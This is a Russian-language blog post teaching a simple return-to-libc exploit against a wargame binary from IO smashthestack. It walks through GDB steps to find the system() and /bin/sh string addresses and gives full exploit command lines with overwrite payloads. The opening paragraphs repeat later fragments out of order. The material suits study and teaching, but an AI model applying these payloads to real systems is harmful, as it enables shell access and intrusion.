Опишу простейший вариант данного типа атак.
В первую очередь уязвимый код : (пример взят из IO smashthestack)
Ошибка здесь очевидна - отсутствует проверка размера копируемых данных.
Получаем ROP, но возникает вопрос, куда делать возврат? Стек с нашими данными вполне может быть неисполняемым. В такой ситуации можно использовать Return to Libc.
Итак, для того чтобы осуществить атаку, нам необходимо знать следующие вещи :
Начнем по порядку.
В результате получим такую строку для запуска приложения :
call-stack вручную, определив адрес возврата из System в Exit.
В первую очередь уязвимый код : (пример взят из IO smashthestack)
Ошибка здесь очевидна - отсутствует проверка размера копируемых данных.
Получаем ROP, но возникает вопрос, куда делать возврат? Стек с нашими данными вполне может быть неисполняемым. В такой ситуации можно использовать Return to Libc.
Итак, для того чтобы осуществить атаку, нам необходимо знать следующие вещи :
- Адрес функции System из библиотеки Libc
- Адрес строки, которую передадим System в качестве параметра
Небольшое отступление, так как сейчас мы рассматриваем самый простой вариант данной атаки, то сделаем предположение о базовых адресах загрузки библиотек для уязвимого приложения - а именно о том, что они остаются постоянными при перезапусках.
Начнем по порядку.
Адрес функции можно получить загрузив приложение в отладчик (в данном случае GDB)
(gdb) p system
$5 = {<text variable, no debug info>} 0xb7eaaf10 <system>
Со строкой все немного сложнее. В качестве строки-параметра System будем использовать переменную окружения.
Определить переменную окружения можно например так :export OWN_SHELL=/bin/sh
Программа сохраняет указатель на окружение в глобальной переменной environ.(gdb) info variable environ
All variables matching regular expression "environ":
Non-debugging symbols:
0xb7fd0d64 __environ
0xb7fd0d64 _environ
0xb7fd0d64 environ
В данном случае, строка содержащая нужную нам команду является первой в массиве переменных окружения.(gdb) x /s *environ
0xbffffe82: "OWN_SHELL=/bin/sh"
В итоге получаем следующее|---------------------------|-------------------|---------------|---------------|
| Data | 0xb7eaaf10 | system-return | 0xbffffe8с |
|---------------------------|-------------------|---------------|---------------|
Далее просто подбираем размер входного буфера, которого будет достаточно для перезаписи адреса возврата.В результате получим такую строку для запуска приложения :
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\xDE\xAD\xBE\xAF"+"\x86\xfe\xff\xbf"'`
Для того, чтобы каждый раз при запуске не происходил segmentation fault можно создать нормальныйcall-stack вручную, определив адрес возврата из System в Exit.
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\x50\xe5\xe9\xb7"+"\x86\xfe\xff\xbf"'`
Комментариев нет:
Отправить комментарий